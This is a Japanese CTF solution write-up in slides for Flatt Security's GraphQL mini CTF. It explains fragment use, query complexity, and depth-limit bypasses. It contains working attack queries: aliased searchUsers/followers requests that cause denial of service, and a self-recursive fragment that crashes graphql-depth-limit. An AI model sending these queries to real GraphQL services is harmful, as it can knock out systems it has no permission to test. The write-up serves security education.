Flatt Security mini CTF #1, 2 解説

@akiym

2023/7/18

Flatt SECURITY

CTFお疲れ様でした

Flatt SECURITY

- welcome (20 solves)
- complexity (6 solves)
- dos (0 solves)
- smash (1 solves)

前回(修正済みのsmashが簡単に解けてしまう非想定解あり)

- welcome (17 solves)
- complexity (2 solves)
- dos (2 solves)
- smash (5 solves)

GraphQL

Flatt SECURITY

- 構成
  - TypeScript
  - Hono
  - GraphQL.js
  - TypeGraphQL
  - SQLite

GraphQL

Flatt SECURITY

- 問題のねらい
  - welcome
    - fragmentの概念を知ろう
  - complexity
    - complexityを計算してみよう
  - dos
    - クエリによってDoSを引き起こそう
  - smash
    - ライブラリのバグを探そう

TMTOWTDI

There's More Than One Way To Do It

やり方はたくさんあり、ここで解説する解法のみとは限りません

welcome (flag1)

welcome (flag1)

Flatt SECURITY

ゴール

- getFlagを呼び出し、flag1を参照する
- ただし、getFlagが返すのはFlagUnionのUnion型
  - スキーマ上ではDummyとFlagのどちらか、実装ではFlagを返す

```
type Dummy {
  flag1: String!
}

type Flag {
  flag1: String!
}

union FlagUnion = Dummy | Flag
```

welcome (flag1)

Flatt SECURITY

- 単なるflag1でのクエリだと……？
  - Cannot query field "flag1" on type "FlagUnion". Did you mean to use an **inline fragment** on "Dummy" or "Flag"?
- https://graphql.org/learn/queries/#inline-fragments

```
{
  getFlag {
    flag1
  }
}
```

welcome (flag1) - 解法

Flatt SECURITY

```
{
  getFlag {
    ... on Flag {
      flag1
    }
  }
}
```

complexity (flag2)

complexity (flag2)

Flatt SECURITY

ゴール

- complexityが100よりも大きければエラーとしてflagを出力
- 複雑なクエリを実行する

```
createComplexityRule({
  maximumComplexity: COMPLEXITY_LIMIT,
  variables: args.variableValues ?? undefined,
  onComplete(complexity) {
    req.context.c.res.headers.append(
      "X-Debug-Complexity",
      String(complexity)
    );
  },
  createError() {
    log(req.context.c, "got flag2");
    return flagError("Complex query detected", {
      flag2: process.env.FLAG2,
    });
  },
  estimators: [
    fieldExtensionsEstimator(),
    simpleEstimator({ defaultComplexity: 1 }),
  ],
}),
```

complexity (flag2)

Flatt SECURITY

- complexityとは
  - クエリの複雑さの指標
    - フィールドの数が多いなら……？返すノードの数が多いなら……？
  - 決められた閾値以上のクエリの実行を禁止するために使われる
  - ある程度の「見積もり」であり、すべてにおいて完璧ではない
- 今回はgraphql-query-complexityを使っている
  - simpleEstimator
    - 1フィールドをコスト1として換算
  - fieldExtensionsEstimator
    - 個別に定義したコストの計算方法より換算

complexity (flag2)

Flatt SECURITY

- fieldExtensionsEstimatorによるcomplexityの計算
  - 以下のようにノード数の分だけ掛けていく
    - 計算する際にはfirstのような返されるノード数を用いる

```
  @Query((returns) => UserConnection, {
    complexity: ({ childComplexity, args }) => args.first * childComplexity,
  })
  async listUsers(
    @Arg("first", (returns) => Int) first: number,
    @Arg("after", { nullable: true }) after?: string
  ) {
    const limit = first + 1;
    const offset = getOffsetFromCursor(after);
    const rows = await db.all(
      "SELECT * FROM user ORDER BY id LIMIT ? OFFSET ?",
      limit,
      offset
    );
    const users = rows.map(makeUser);
    return makeUserConnection(users, limit, offset);
  }
}
```

complexity (flag2)

Flatt SECURITY

- complexityの計算は実行前に走ることに注意
  - listUsersは引数のfirstによって実行前に返される最大ノード数がわかる
  - 例えば、searchUsersなどの実行前に返すノード数が決められていないものだと見積もりが難しい
    - 実際にcomplexityによってクエリの制限を行う場合は、スキーマ自体の設計が重要

complexity (flag2)

Flatt SECURITY

- 制約
  - クエリ全体は1640バイト以下
  - 深さ制限は2と厳しめ
  - argumentにfirstがあるとき、0 < first ≤ 10であるようにバリデーションする
  - エラーが複数ある場合はflagを消す(正しいクエリでなければいけない)

```
  const res = await readJsonResponse(c.res);
  if (res) {
    if (res.errors) {
      for (const error of res.errors) {
        if (error.extensions?.flag2 !== undefined && res.errors.length !== 1) {
          error.extensions.flag2 = "REDACTED";
        }
      }
    }
    c.res = c.json(res);
  }
```

complexity (flag2) - 解法

Flatt SECURITY

```
{
  listUsers(first: 10) {
    nodes {
      id
      name
      parentId
    }
    edges {
      cursor
    }
    pageInfo {
      hasNextPage
      hasPreviousPage
      startCursor
      endCursor
    }
  }
}
```

first * childComplexity で
計算すると 10 * 11 = 110

dos (flag3)

dos (flag3)

Flatt SECURITY

ゴール

- クエリの実行時間が1秒以上ならflagを出力
- DoS (Denial of Services)を発生させるクエリを実行する

```
app.use("/graphql", async (c, next) => {
  const start = performance.now();
  await Promise.race([next(), sleep(DOS_TIMEOUT_MS)]);
  const end = performance.now();

  const executionTime = end - start;
  if (executionTime >= DOS_TIMEOUT_MS) {
    log(c, "got flag3");
    c.res = flagErrorResponse("DoS detected", { flag3: process.env.FLAG3 });
  }

  c.res.headers.append("X-Debug-Executing-Time", String(executionTime));
});
```

dos (flag3)

Flatt SECURITY

- 実行時間を長くするには？
  - (1) 遅いSQLを発行する
    - 今回はSQLiteでDB全体で68KBほどで小さく、1 SQLあたり1秒以上かかるようなものは現実的には無理
  - (2) SQLをたくさん発行する
    - resolverが呼ばれるたびにSQLが発行されていたら？

dos (flag3)

Flatt SECURITY

- まずそうなresolverの実装 (1)
  - followersが呼ばれるたび、SQLが1件ずつ発行される
    - いわゆるN+1問題

```
@FieldResolver((returns) => UserConnection)
async followers(
  @Root() user: User,
  @Arg("first", (returns) => Int) first: number,
  @Arg("after", { nullable: true }) after?: string
) {
  const limit = first + 1;
  const offset = getOffsetFromCursor(after);
  const rows = await db.all(
    "SELECT * FROM user WHERE id IN (SELECT follower_id FROM follower WHERE
    followee_id = ?) LIMIT ? OFFSET ?",
    user.id,
    limit,
    offset
  );
  const users = rows.map(makeUser);
  return makeUserConnection(users, limit, offset);
}
```

dos (flag3)

Flatt SECURITY

- まずそうなresolverの実装 (2)
  - searchUsersで返す件数の制限がない
  - LIKE句に指定する文字列のエスケープ不備
    - "%"で全件取得可能

```
@Query((returns) => [User])
async searchUsers(@Arg("name") name: string) {
  const rows = await db.all("SELECT * FROM user WHERE name LIKE ?", name);
  return rows.map(makeUser);
}
```

dos (flag3)

Flatt SECURITY

- searchUsersからfollowersを呼ぶことはできるか？
  - 深さ制限は2！
  - よって以下のクエリは呼び出せない

```
{
  searchUsers(name: "%") {
    followers(first: 10) {
      id
      name
    }
  }
}
```

dos (flag3)

Flatt SECURITY

- __typename (meta-field)
  - graphql-depth-limitの実装では__で始まるフィールドは無視される
  - つまり、resolverが実行できさえすればよい
  - ちなみにgraphql-query-complexityのコスト計算でもmeta-fieldは無視される

```
{
  searchUsers(name: "%") {
    followers(first: 10) {
      __typename
    }
  }
}
```

dos (flag3)

Flatt SECURITY

- ただしsearchUsersの1度の呼び出しだけでは実行時間は1秒未満
- aliasを使う
  - https://graphql.org/learn/queries/#aliases

```
{
  a: searchUsers(name: "%") {
    followers(first: 10) {
      __typename
    }
  }
  b: searchUsers(name: "%") {
    followers(first: 10) {
      __typename
    }
  }
}
```

dos (flag3) - 解法

Flatt SECURITY

```
{
  a: searchUsers(name: "%") {
    followers(first: 10) { __typename }
  }
  b: searchUsers(name: "%") {
    followers(first: 10) { __typename }
  }
  c: searchUsers(name: "%") {
    followers(first: 10) { __typename }
  }
  d: searchUsers(name: "%") {
    followers(first: 10) { __typename }
  }
  e: searchUsers(name: "%") {
    followers(first: 10) { __typename }
  }
}
```

dos (flag3)

Flatt SECURITY

- 前回開催時に見つかった非想定解
  - クエリサイズの制限がバリデーションルールとして実装されている
  - よって巨大なクエリの実行はできないがパースはされる
    - エラー箇所が大量に存在するクエリを投げると、レスポンスとして返されるオブジェクトが巨大になり1秒以上かかる
  - → そもそもバリデーションルールでクエリサイズの制限を行うのは間違い

```
createHandler({
  schema,
  validationRules: async (req, args, specifiedRules) => {
    return [
      ...specifiedRules,

      querySizeLimit(QUERY_SIZE_LIMIT),
      depthLimit(DEPTH_LIMIT),
```

smash (flag4)

smash (flag4)

Flatt SECURITY

ゴール

- next()内でレスポンスが書き換えられなければflagを出力

- レスポンスが書き換えられないとは、どのような状況？

```
app.use("/graphql", async (c, next) => {
  const originalRes = flagErrorResponse("GraphQL server is smashed", {
    flag4: process.env.FLAG4,
  });
  c.res = originalRes;

  await next();

  if (c.res === originalRes) {
    log(c, "got flag4");
  }
});
```

smash (flag4)

Flatt SECURITY

- createHandler内での例外発生時にはレスポンスは書き換えられない

```
export function createHandler<Context extends OperationContext = undefined>(
  options: HandlerOptions<Context>
): MiddlewareHandler {
  const isProd = process.env.NODE_ENV === "production";
  const handle = createRawHandler(options);
  return async function requestListener(c, next) {
    const requestBody = await c.req.text();
    log(c, { query: requestBody });
    try {
      const [body, init] = await handle({
        url: c.req.url,
        method: c.req.method,
        headers: c.req.headers,
        body: requestBody,
        raw: c.req.raw,
        context: { c },
      });
      c.res = new Response(body, {
        status: init.status,
        statusText: init.statusText,
        headers: init.headers
      });
    } catch (err) {
      if (isProd) {
        c.status(500);
      } else {
```

status codeだけ変更して
body自体はそのまま

smash (flag4)

Flatt SECURITY

- ただし、resolverの実行時の例外ではない
  - 例えば、listUsers(first: 10, after: "MS4x=") { ... }のような例外を発生させる場合にはGraphQLのエラーとしてラップされている
    - SQLITE_MISMATCH: datatype mismatch
    - MS4x= → b64encode("1.1")
- https://github.com/graphql/graphql-http/blob/v1.17.1/src/handler.ts
  - 多くの例外はcatchされてmakeResponseでGraphQLのエラーになる
  - 例えば、validationRulesの実行時にエラーになったら……？

smash (flag4)

Flatt SECURITY

- 解法のひとつとして:
  - fragment内でfragmentを展開して再帰させる
  - graphql-depth-limitの実装では再帰されることを想定していないので Maximum call stack size exceededエラーになる

```
RangeError: Maximum call stack size exceeded
    at RegExp.test (<anonymous>)
    at determineDepth (/home/ctf/node_modules/graphql-depth-limit/index.js:63:34)
    at /home/ctf/node_modules/graphql-depth-limit/index.js:77:9
    at Array.map (<anonymous>)
    at determineDepth (/home/ctf/node_modules/graphql-depth-limit/index.js:76:55)
    at determineDepth (/home/ctf/node_modules/graphql-depth-limit/index.js:72:14)
    at /home/ctf/node_modules/graphql-depth-limit/index.js:77:9
    at Array.map (<anonymous>)
    at determineDepth (/home/ctf/node_modules/graphql-depth-limit/index.js:76:55)
    at determineDepth (/home/ctf/node_modules/graphql-depth-limit/index.js:72:14)
```

smash (flag4)

Flatt SECURITY

- なぜgraphql-depth-limitをそのまま使っていない？
  - 存在しないfragmentを展開するだけでエラーになるという解法を潰すため
    - { ...a } だけでエラー
- graphql-depth-limit以外の別解もあります
  - mutation { __typename } と実行するとgraphql-query-complexityでエラー

smash (flag4) - 解法

Flatt SECURITY

```
{
  getFlag {
    ...A
  }
}

fragment A on Flag {
  ...A
}
```

最後に

- CTF問題・解説の内容に関するwriteupやツイートはじゃんじゃんお願いします
    - 自分は違う解法で解いたという方がいれば、是非教えてください
- このスライドは後程connpassのほうで共有します
- Flatt Security採用情報はこちらから
    - https://recruit.flatt.tech/